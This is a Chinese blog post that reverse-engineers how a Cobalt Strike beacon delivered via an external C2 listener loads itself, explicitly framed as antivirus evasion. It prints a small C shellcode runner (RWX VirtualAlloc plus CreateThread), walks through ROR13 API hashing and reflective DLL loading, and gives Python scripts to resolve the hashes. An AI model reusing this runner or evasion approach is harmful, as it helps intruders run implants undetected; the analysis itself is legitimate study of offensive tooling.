Joe1sn's Cabin

【免杀】使用CobaltStrike的外置监听器绕过检测-番外

可能是最简单一种免杀方式了

对于自己开发c2有启发意义

公众号:https://mp.weixin.qq.com/s/WSX-MxkV-8QUfsNULFM3Kg

在上一篇文章:【免杀】使用CobaltStrike的外置监听器绕过检测

Image

我们实现了一个能通过external C2 来对杀软进行绕过的方法,那么为什么行呢?这里对通讯的流量进行分析。

首先是在spawnBeacon需要运行一段teamserver发送过来的shellcode

1
2
3
4
5
6
7
8
9
10
11
// Allocates a RWX page for the CS beacon, copies the payload, and starts a new thread
void spawnBeacon(char *payload, DWORD len)
{

HANDLE threadHandle;
DWORD threadId = 0;
char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(alloc, payload, len);

threadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, &threadId);
}

在IDA中下断点看看,这里的客户端是自己编译的,因此选择Debug模式,这样IDA能通过pdb文件实现源码级F5(其实也不算反编译)

image-20250616091600947

看看这段汇编长啥样

image-20250616091918917

第一个call rbx翻译成C

image-20250616092037845

image-20250616092116204

这里从第三方客户端Dump下文件后查看

image-20250616133516232
findPEFile

首先获得当前rsp的值,并且由于是小端序,应该从右向左读。从启示地址开始读取,直到读取到PE文件的DOS头的e_magic,接着再判断PE头,如果都成立,则返回DOS文件头的地址,所以我在上层函数中将返回的类型设置为了PIMAGE_DOS_HEAD

image-20250616133638968

Part I. sub_180017948

在使用IDA打开Dump下来的bin文件时,IDA会将其默认解析为PE文件格式,说明这就是在反射式加载一个PE文件,所以要首先从LDR中加载出基本函数,例如LoadLibraryVirtualAlloc

首先是经典的InMemoryOrderModuleList循环遍历寻找

image-20250616133813226

这个循环看不懂,我把i的类型设置为struct _LDR_DATA_TABLE_ENTRY *i再来看看

image-20250616141121731

  • __ROR4__:将v8向右循环移动13位,使用这个作为单次循环读取到字符的哈希运算

  • break的条件是:v8 == 0x6A4ABC5B

既然是哈希,这个过程肯定是不可逆的,所以动态调试一下

image-20250616142523963

发现值为:KERNEL32.DLL可以得到该哈希,注意这里字串是wchar_t*的宽字符类型,需要在 Options->String Literals 选择编码方式为unicode

尝试使用python暴力破解一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import os

def ror4(value: int, bits: int) -> int:
value &= 0xFFFFFFFF # 保证是32位
return ((value >> bits) | (value << (32 - bits))) & 0xFFFFFFFF

def hasher(filename: bytes)->int:
v8 = 0
for ch in filename:
v9 = ror4(v8, 13)
v8 = (v9 + ord(ch)) & 0xFFFFFFFF
v9 = ror4(v8, 13)
v8 = (v9 + 0) & 0xFFFFFFFF

return v8

if __name__ == '__main__':
folder_path = "C:\\Windows\\System32"
files = os.listdir(folder_path)
for file in files:
if(file[-4:]!=".dll"):
continue
hash = hasher(file.upper())
if(hash==0x6A4ABC5B):
print("Found", file, "hash is right: ", hex(hash).upper())
break

image-20250616150157229

这里使用的是C:\\Windows\\System32目录下的DLL文件名
接着在静态我已经仅我最大努力了,可是还有很多不懂得

image-20250616152712591

不过按照一般的流程就是找需要的导出函数了,动态调试看看

image-20250616152822754

image-20250616152848249

那么大概意思清楚了:读取dll的导出函数,进行自定义的哈希运算,找到符合的函数,从而加载函数,及GetProcAddress的实现

1
2
3
do
v6 = *v14++ + __ROR4__(v6, 13);
while ( *v14 );

知道了是kernel32.dll的函数,我们自己测试看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import os
import pefile

def ror4(value: int, bits: int) -> int:
value &= 0xFFFFFFFF # 保证是32位
return ((value >> bits) | (value << (32 - bits))) & 0xFFFFFFFF

def hasher(filename: bytes, wide_char: bool = True)->int:
v8 = 0
for ch in filename:
v9 = ror4(v8, 13)
v8 = (v9 + ord(ch)) & 0xFFFFFFFF
if(wide_char):
v9 = ror4(v8, 13)
v8 = (v9 + 0) & 0xFFFFFFFF
return v8


def list_exported_functions(pe_path:str)->list:
result = []
pe = pefile.PE(pe_path)
if not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'):
print("此文件没有导出表。")
return

for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
name = exp.name.decode() if exp.name else "<no name>"
address = hex(pe.OPTIONAL_HEADER.ImageBase + exp.address)
ordinal = exp.ordinal
result.append(name)
return result


if __name__ == '__main__':
folder_path = "C:\\Windows\\System32"
files = os.listdir(folder_path)
filename = ""
for file in files:
if(file[-4:]!=".dll"):
continue
hash = hasher(file.upper())
if(hash==0x6A4ABC5B):
print("Found", file, "hash is right: ", hex(hash).upper())
filename = file
break

if(filename != ""):
filepath = os.path.join(folder_path, filename)
func_names = list_exported_functions(filepath)
val = hasher(func_names[0], False)
print(func_names[0], hex(val))

image-20250616153834357

image-20250616153853663

修改一下一小段脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if(filename != ""):
filepath = os.path.join(folder_path, filename)
func_names = list_exported_functions(filepath)
for name in func_names:
v6 = hasher(name, False)
if v6 == 0xEC0E4E8E:
print("No.2",name,"\t", f"0x{v6:02X}")
if v6 == 0x7C0DFCAA:
print("No.1",name,"\t", f"0x{v6:02X}")
if v6 == 0x91AFCA54:
print("No.4",name,"\t", f"0x{v6:02X}")
if v6 == 0x7946C61B:
print("No.5",name,"\t", f"0x{v6:02X}")
if v6 == 0x753A4FC:
print("No.3",name,"\t", f"0x{v6:02X}")
if v6 == 0xD3324904:
print("No.0",name,"\t", f"0x{v6:02X}")

image-20250616154515629

最后函数完成的v13

image-20250616154751622

关于如何实现GetProcAddress,可以参考之前关注发的文章:PE文件格式解析 的 《如何找到导入的函数和DLL-导入表》部分

sub_180017D38

主函数ReflectiveLoader检查完成后进入sub_180017D38

image-20250616155144742

image-20250616155218101

根据之前的分析

  • *a函数就是GetModuleHandlerA,可以获得当前PE文件在内存中的位置

  • a[1]函数就是GetProcAddress

sub_180017F88

image-20250616160045897

ntHead->FileHeader.Characteristics描述了IMAGE的特征。其中0x8000:反转单词的字节数。 此标志已过时。

根据参数修改下sub_180017F88的类型就很好看了

image-20250616160125821

动态调试发现没有走上面的复杂逻辑,或许是为了兼容性?

image-20250616160912620

等效运行

1
VirtualAlloc(0, SizeofImage, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

后续函数

image-20250616164740424

基本就是反射式载入那一套,你依旧可以参考:https://github.com/stephenfewer/ReflectiveDLLInjection

最后跳转到LoaderFlags或者AddressOfEntryPoint,这里是dllmain,开始运行恶意DLL

image-20250616171420620

sub_180018158 CopyDOSHeader

复制PE文件DOS头

image-20250616161931065

sub_180018218 ReflectSections

加载PE文件的Section到内存

image-20250616162323421

sub_180018318 GetImportTable

从导入表开始导入相关函数和Dll

image-20250616163329837

sub_1800185D8 DoRelocation

读取重定位表,进行重定位

image-20250616164133455

小结

继续升入下去可以挖掘出cobaltstrike功能实现的方法和技巧。

这种方式的有效shellcode仅有跳转到ReflectLoader之前的一小段汇编代码,所以看上“比较合法”,这样也大大提升了躲避检测的能力

同时这种方式可以使用之前提到过的反射式加载器加,不过需要自己维持一个ipc(名称一定要正确)和socket来负责传递数据